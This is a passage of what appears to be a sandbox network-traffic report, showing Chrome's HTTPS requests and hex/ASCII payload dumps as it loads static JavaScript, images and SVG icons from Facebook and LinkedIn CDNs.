:j,l=k.length;h&&(e=g,g=h,h=e,l-=e);if(g>0&&l>0){e=l%g\|\|g;j=k.substr(0,e);for(;e<l;e+=g)j+=i+k.substr(e,g);h>0&&(j+=i+k.slice(e));d&&(j="-"+j)}b=c?j+(a.decimalSeparator\|\|"")+((h=+a.fractionGroupSize)?c.replace(new RegExp("\\d{"+h+"}\\B","g"),"$&"+(a.fract
2024-04-11 20:35:34 UTC	10713	IN	Data Raw: 31 31 31 2c 32 32 37 33 31 33 34 38 34 32 2c 33 32 38 31 39 31 31 30 37 39 2c 34 30 38 30 39 36 32 38 34 36 2c 31 37 32 34 35 30 36 32 35 2c 32 35 36 39 39 39 34 31 30 30 2c 39 38 30 33 38 31 33 35 35 2c 34 31 30 39 39 35 38 34 35 35 2c 32 38 31 39 38 30 38 33 35 32 2c 32 37 31 36 35 38 39 35 36 30 2c 32 35 36 38 37 34 31 31 39 36 2c 33 36 38 31 34 34 36 36 36 39 2c 33 33 32 39 39 37 31 34 37 32 2c 31 38 33 35 34 37 38 30 37 31 2c 36 36 30 39 38 34 38 39 31 2c 33 37 30 34 36 37 38 34 30 34 2c 34 30 34 35 39 39 39 35 35 39 2c 33 34 32 32 36 31 37 35 30 37 2c 33 30 34 30 34 31 35 36 33 34 2c 31 37 36 32 36 35 31 34 30 33 2c 31 37 31 39 33 37 37 39 31 35 2c 33 34 37 30 34 39 31 30 33 36 2c 32 36 39 33 39 31 30 32 38 33 2c 33 36 34 32 30 35 36 33 35 35 2c 33 Data Ascii: 111,2273134842,3281911079,4080962846,172450625,2569994100,980381355,4109958455,2819808352,2716589560,2568741196,3681446669,3329971472,1835478071,660984891,3704678404,4045999559,3422617507,3040415634,1762651403,1719377915,3470491036,2693910283,3642056355,3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49963	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	599	OUT	GET /rsrc.php/v3/yG/r/DBxNWR0pTnb.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1702	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: 0c3HY2F9vgXSyf/P83KKFw== Expires: Sat, 05 Apr 2025 13:04:19 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: C8Ld7BUbqPDDsglERYm5g9LnmJtiHZRwKnVXtydU+/323uDQYMTKTSm2XHP9D/4e8VgP5FlbbN56BdC8BRJImw== Date: Thu, 11 Apr 2024 20:35:34 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3411, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 52306
2024-04-11 20:35:34 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:34 UTC	16113	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 72 65 71 75 65 73 74 49 64 6c 65 43 61 6c 6c 62 61 63 6b 43 6f 6d 65 74 22 2c 5b 22 49 64 6c 65 43 61 6c 6c 62 61 63 6b 49 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 3d 61 2e 72 65 71 75 65 73 74 49 64 6c 65 43 61 6c 6c 62 61 63 6b 7c 7c 64 28 22 49 64 6c 65 43 61 6c 6c 62 61 63 6b 49 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 22 29 2e 72 65 71 75 65 73 74 49 64 6c 65 43 61 6c 6c 62 61 63 6b 3b 66 75 6e 63 74 69 6f 6e 20 62 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 68 2e 63 61 6c 6c 28 61 2c 62 2c 63 29 7d 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 62 7d 29 2c 39 38 Data Ascii: /FB_PKG_DELIM/__d("requestIdleCallbackComet",["IdleCallbackImplementation"],(function(a,b,c,d,e,f,g){"use strict";var h=a.requestIdleCallback\|\|d("IdleCallbackImplementation").requestIdleCallback;function b(b,c){return h.call(a,b,c)}g["default"]=b}),98
2024-04-11 20:35:34 UTC	16384	IN	Data Raw: 2e 73 74 72 69 6e 67 69 66 79 28 69 29 29 3b 72 65 74 75 72 6e 5b 65 2c 67 5d 7d 67 2e 70 61 73 73 46 75 6e 6e 65 6c 4c 65 76 65 6c 53 74 61 74 73 52 6f 6c 6c 6f 75 74 47 4b 3d 61 3b 67 2e 6f 6e 46 75 6e 6e 65 6c 53 74 61 72 74 3d 62 3b 67 2e 6f 6e 46 75 6e 6e 65 6c 43 61 6e 63 65 6c 3d 65 3b 67 2e 6f 6e 46 75 6e 6e 65 6c 45 6e 64 3d 66 3b 67 2e 6d 61 79 62 65 46 6c 75 73 68 46 75 6e 6e 65 6c 4c 65 76 65 6c 53 74 61 74 73 3d 44 3b 67 2e 69 6e 63 72 65 61 73 65 41 6e 64 47 65 74 4c 69 62 4c 65 76 65 6c 53 74 61 74 73 3d 45 3b 67 2e 6d 61 79 62 65 49 6e 63 72 65 61 73 65 41 6e 64 47 65 74 4c 69 62 4c 65 76 65 6c 53 74 61 74 73 46 6f 72 43 75 72 46 75 6e 6e 65 6c 3d 46 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 46 75 6e 6e 65 6c 4c 6f 67 67 65 72 22 2c 5b 22 42 Data Ascii: .stringify(i));return[e,g]}g.passFunnelLevelStatsRolloutGK=a;g.onFunnelStart=b;g.onFunnelCancel=e;g.onFunnelEnd=f;g.maybeFlushFunnelLevelStats=D;g.increaseAndGetLibLevelStats=E;g.maybeIncreaseAndGetLibLevelStatsForCurFunnel=F}),98);__d("FunnelLogger",["B
2024-04-11 20:35:34 UTC	16384	IN	Data Raw: 65 28 29 2e 77 69 64 74 68 28 29 2c 68 65 69 67 68 74 3a 61 5b 63 5d 2e 73 69 7a 65 28 29 2e 68 65 69 67 68 74 28 29 7d 29 7d 72 65 74 75 72 6e 20 62 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 61 29 7b 76 61 72 20 62 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 63 2c 64 3d 61 2e 73 75 62 64 6f 63 75 6d 65 6e 74 73 4c 65 6e 67 74 68 28 29 2d 31 3b 64 3e 3d 30 3b 64 2d 2d 29 63 3d 61 2e 73 75 62 64 6f 63 75 6d 65 6e 74 73 28 64 29 2c 62 2e 75 6e 73 68 69 66 74 28 63 29 3b 72 65 74 75 72 6e 20 62 7d 66 75 6e 63 74 69 6f 6e 20 41 28 61 29 7b 61 3d 6b 28 61 29 3b 72 65 74 75 72 6e 21 61 3f 28 67 7c 7c 28 67 3d 62 28 22 50 72 6f 6d 69 73 65 22 29 29 29 2e 72 65 6a 65 63 74 28 22 44 65 63 6f 64 65 3a 20 63 6f 75 6c 64 20 6e 6f 74 20 63 72 65 61 74 65 20 66 6c 61 74 62 75 66 66 Data Ascii: e().width(),height:a[c].size().height()})}return b}function z(a){var b=[];for(var c,d=a.subdocumentsLength()-1;d>=0;d--)c=a.subdocuments(d),b.unshift(c);return b}function A(a){a=k(a);return!a?(g\|\|(g=b("Promise"))).reject("Decode: could not create flatbuff
2024-04-11 20:35:34 UTC	3424	IN	Data Raw: 2c 74 68 69 73 2e 69 73 46 69 6e 69 73 68 65 64 28 29 26 26 28 74 68 69 73 2e 24 31 39 3d 74 68 69 73 2e 24 31 38 2c 74 68 69 73 2e 24 31 31 3d 74 68 69 73 2e 24 32 32 29 2c 74 68 69 73 2e 24 31 35 26 26 74 68 69 73 2e 24 31 35 2e 73 74 61 72 74 28 29 2c 74 68 69 73 2e 24 37 2e 73 74 61 72 74 28 29 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 65 2e 70 61 75 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 24 31 36 26 26 28 74 68 69 73 2e 24 31 36 3d 21 31 2c 74 68 69 73 2e 24 31 35 26 26 74 68 69 73 2e 24 31 35 2e 70 61 75 73 65 28 29 2c 74 68 69 73 2e 24 39 3f 74 68 69 73 2e 24 32 38 28 29 3a 28 74 68 69 73 2e 24 37 2e 63 61 6e 63 65 6c 28 29 2c 74 68 69 73 2e 24 31 34 26 26 74 68 69 73 2e 24 31 34 2e 63 61 6c 6c 49 66 49 67 6e 6f 72 65 64 28 74 Data Ascii: ,this.isFinished()&&(this.$19=this.$18,this.$11=this.$22),this.$15&&this.$15.start(),this.$7.start());return this};e.pause=function(){this.$16&&(this.$16=!1,this.$15&&this.$15.pause(),this.$9?this.$28():(this.$7.cancel(),this.$14&&this.$14.callIfIgnored(t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49981	31.13.71.7	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	592	OUT	GET /v/t39.30808-6/432913958_982761573248796_5936599578752657612_n.jpg?stp=dst-jpg_s160x160&_nc_cat=106&ccb=1-7&_nc_sid=5f2048&_nc_ohc=KZPvj0YAcUQAb4zfexZ&_nc_ht=scontent-lga3-1.xx&oh=00_AfCtKT4Ml4ll6ZqExtUsLq_2FcMg_To2Fof-0JkATk8tFA&oe=661E013C HTTP/1.1 Host: scontent-lga3-1.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	659	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Wed, 10 Apr 2024 13:01:00 GMT X-Needle-Checksum: 3432565113 thrift_fmhk: GBDj/cdW8DzJKMHfmmBCTFhmFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=1112839383 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:34 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 5476
2024-04-11 20:35:34 UTC	1	IN	Data Raw: ff Data Ascii:
2024-04-11 20:35:34 UTC	5475	IN	Data Raw: d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 68 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 36 66 30 31 30 30 30 30 66 31 30 32 30 30 30 30 33 32 30 35 30 30 30 30 62 63 30 35 30 30 30 30 37 35 30 36 30 30 30 30 39 39 30 39 30 30 30 30 37 36 30 64 30 30 30 30 66 37 30 64 30 30 30 30 38 37 30 65 30 30 30 30 33 64 30 66 30 30 30 30 36 34 31 35 30 30 30 30 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFPhotoshop 3.08BIMh(bFBMD0a000a6f010000f102000032050000bc0500007506000099090000760d0000f70d0000870e00003d0f000064150000C%# , #&')*)-0-(0%()(C(((((((((((((((

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49960	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	584	OUT	GET /aero-v1/sc/h/ddi43qwelxeqjxdd45pe3fvs1 HTTP/1.1 Host: static.licdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.linkedin.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1066	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307090 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: image/svg+xml Date: Thu, 11 Apr 2024 20:35:34 GMT Expires: Thu, 18 Apr 2024 20:35:34 GMT Last-Modified: Tue, 05 Apr 2022 02:04:43 GMT Server: ECAcc (nyd/D152) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 2435 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0011100905; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 0006159098daf2407d70f4cb7b8bc83c X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJja8kB9cPTLe4vIPA== Content-Length: 2435 Connection: close
2024-04-11 20:35:34 UTC	2435	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 36 30 20 36 30 22 20 77 69 64 74 68 3d 22 36 30 22 20 68 65 69 67 68 74 3d 22 36 30 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 31 22 20 64 3d 22 4d 33 30 2e 31 2c 31 36 2e 31 4c 33 30 2e 31 2c 31 36 2e 31 63 2d 30 2e 36 2c 30 2d 31 2d 30 2e 35 2d 31 2d 31 56 31 63 30 2d 30 2e 36 2c 30 2e 35 2d 31 2c 31 2d 31 6c 30 2c 30 63 30 2e 36 2c 30 2c 31 2c 30 2e 35 2c 31 2c 31 76 31 34 2e 31 43 33 31 2e 31 2c 31 35 2e 37 2c 33 30 2e 36 2c 31 36 2e 31 2c 33 30 2e 31 2c 31 36 2e 31 7a 22 2f 3e 0a 20 20 20 20 3c 70 61 74 68 20 6f 70 61 63 69 74 79 3d 22 30 2e 38 35 22 20 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 60 60" width="60" height="60"> <g> <path opacity="1" d="M30.1,16.1L30.1,16.1c-0.6,0-1-0.5-1-1V1c0-0.6,0.5-1,1-1l0,0c0.6,0,1,0.5,1,1v14.1C31.1,15.7,30.6,16.1,30.1,16.1z"/> <path opacity="0.85"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49957	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	584	OUT	GET /aero-v1/sc/h/8fkga714vy9b2wk5auqo5reeb HTTP/1.1 Host: static.licdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.linkedin.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1066	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307101 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: image/svg+xml Date: Thu, 11 Apr 2024 20:35:34 GMT Expires: Thu, 18 Apr 2024 20:35:34 GMT Last-Modified: Tue, 05 Apr 2022 06:06:04 GMT Server: ECAcc (nyd/D131) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 2958 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0012874146; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 000615909834cc1fe8e5fbec47745b8a X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJg0zB/o5fvsR3Rbig== Content-Length: 2958 Connection: close
2024-04-11 20:35:34 UTC	2958	IN	Data Raw: 3c 73 76 67 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 34 20 32 31 22 20 70 72 65 73 65 72 76 65 41 73 70 65 63 74 52 61 74 69 6f 3d 22 78 4d 69 6e 59 4d 69 6e 20 6d 65 65 74 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 3c 67 20 63 6c 61 73 73 3d 22 69 6e 62 75 67 22 20 73 74 72 6f 6b 65 3d 22 6e 6f 6e 65 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 31 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 39 2e 34 Data Ascii: <svg viewBox="0 0 84 21" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <g class="inbug" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"> <path d="M19.4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49955	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	584	OUT	GET /aero-v1/sc/h/5oas73nreunfgygkpe5iwmgrs HTTP/1.1 Host: static.licdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.linkedin.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1332	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 306518 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: image/svg+xml Date: Thu, 11 Apr 2024 20:35:34 GMT Expires: Thu, 18 Apr 2024 20:35:34 GMT Last-Modified: Tue, 05 Apr 2022 04:16:45 GMT NEL: {"report_to":"network-errors","max_age":1296000,"success_fraction":0.00066,"failure_fraction":1,"include_subdomains":true} Report-To: {"group":"network-errors","max_age":2592000,"endpoints":[{"url":"https://www.linkedin.com/li/rep"}],"include_subdomains":true} Server: ECAcc (nyd/D195) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 391 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0015141622; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 00061590bafb2f319c34069e2852a76b X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkLr7LzGcNAaeKFKnaw== Content-Length: 391 Connection: close
2024-04-11 20:35:34 UTC	391	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 68 65 69 67 68 74 3d 22 31 36 70 78 22 20 77 69 64 74 68 3d 22 31 36 70 78 22 20 66 69 6c 6c 3d 22 63 75 72 72 65 6e 74 43 6f 6c 6f 72 22 3e 0a 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 34 2e 37 31 2c 34 4c 31 32 2c 31 2e 32 39 61 31 2c 31 2c 30 2c 30 2c 30 2d 31 2e 34 31 2c 30 4c 33 2c 38 2e 38 35 2c 31 2c 31 35 6c 36 2e 31 35 2d 32 2c 37 2e 35 35 2d 37 2e 35 35 41 31 2c 31 2c 30 2c 30 2c 30 2c 31 35 2c 34 2e 37 31 2c 31 2c 31 2c 30 2c 30 2c 30 2c 31 34 2e 37 31 2c 34 5a 6d 2d 38 2e 38 34 2c 37 2e 36 2d 31 2e 35 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" height="16px" width="16px" fill="currentColor"> <path d="M14.71,4L12,1.29a1,1,0,0,0-1.41,0L3,8.85,1,15l6.15-2,7.55-7.55A1,1,0,0,0,15,4.71,1,1,0,0,0,14.71,4Zm-8.84,7.6-1.5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49986	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	378	OUT	GET /aero-v1/sc/h/3utcckkfns4imldimt4a8krjb HTTP/1.1 Host: static.licdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1091	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 306544 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: text/javascript Date: Thu, 11 Apr 2024 20:35:34 GMT Expires: Thu, 18 Apr 2024 20:35:34 GMT Last-Modified: Wed, 06 Mar 2024 01:08:07 GMT Server: ECAcc (nyd/D116) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 513252 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.001882487; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-EC-BBR-Enable: 1 X-FS-UUID: 00061590b96912341211b3bfea886a45 X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkLlpEjQSEbO/6ohqRQ== Content-Length: 513252 Connection: close
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 61 75 74 68 77 61 6c 6c 2d 75 62 62 61 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 76 61 72 20 6e 3d 7b 7d 2c 72 3d 7b 7d 2c 69 3d 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 2c 6f 3d 54 79 70 65 45 72 72 6f 72 2c 61 3d 4f 62 6a 65 63 74 2c 73 3d 52 65 67 45 78 70 2c 63 3d 4e 75 6d 62 65 72 2c 6c 3d 53 74 72 69 6e 67 2c 41 3d 41 72 72 61 79 2c 64 3d 61 2e 62 69 6e 64 2c 75 3d 61 2e 63 61 6c 6c 2c 68 3d 75 2e 62 69 6e 64 28 64 2c 75 29 2c 67 3d 61 2e 61 70 70 6c 79 2c 66 3d 68 28 67 29 2c 70 3d 5b 5d 2e 70 75 73 68 2c 6d 3d 5b 5d 2e 70 6f 70 2c 76 3d 5b 5d 2e 73 6c 69 63 65 2c 42 3d 5b Data Ascii: /! For license information please see authwall-ubba.js.LICENSE.txt /!function e(t){var n={},r={},i=ReferenceError,o=TypeError,a=Object,s=RegExp,c=Number,l=String,A=Array,d=a.bind,u=a.call,h=u.bind(d,u),g=a.apply,f=h(g),p=[].push,m=[].pop,v=[].slice,B=[
